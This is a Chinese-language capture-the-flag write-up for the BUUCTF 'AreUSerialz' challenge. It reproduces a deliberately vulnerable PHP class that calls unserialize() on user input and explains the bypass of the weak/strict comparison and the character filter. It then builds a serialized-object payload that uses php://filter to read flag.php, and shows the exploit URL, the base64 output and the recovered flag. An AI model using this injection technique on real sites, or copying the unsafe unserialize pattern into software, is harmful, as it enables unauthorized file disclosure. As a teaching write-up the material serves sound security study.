BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

看题

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

可以看到,首先让我们传入一个str字符串,往后看到is_valid函数进行限制,传入的每个字符ascii码值必须在32~125之间,然后对传入的str执行反序列化。
先用destruct函数

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

如果op===2,那么op会赋值为1,content无值,并执行process函数,(===强类型比较)

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

process函数,若op=="1",则执行write函数;若op=="2",则执行read函数,并且将值赋到res然后输出;否则输出Bad Hacker!
此处为==,弱类型比较,op=="2",结果为true,op==="2",结果为false。
read函数

  private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

调用file_get_contents函数读取filename的内容,并且将值赋给res

include("flag.php");

可以通过php://filter伪协议读取flag.php中的内容。

构造反序列化

<?php
class FileHandler {

    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;

}

$a = new FileHandler();
echo serialize($a);
?>

若用php版本低于7,会有00%,其对应ascii值为0,不在32~125,但是php7.X对属性类型不敏感,所以将protected改为public

<?php
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

}

$a = new FileHandler();
echo serialize($a);
?>

得到序列化结果

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

构造payload

http://e4929784-06ac-4807-8418-f142d1f5c1be.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

得到一段base64加密的语句。

PD9waHAgJGZsYWc9J2ZsYWd7ODM0Y2UxOTAtZTdiMC00MGYxLWIxYTQtMDE2YjBhMTE3YjMyfSc7Cg==

base64解码得到

<?php $flag='flag{834ce190-e7b0-40f1-b1a4-016b0a117b32}';
posted @ 2021-04-27 09:27  AndyNoel  阅读(378)  评论(0)    收藏  举报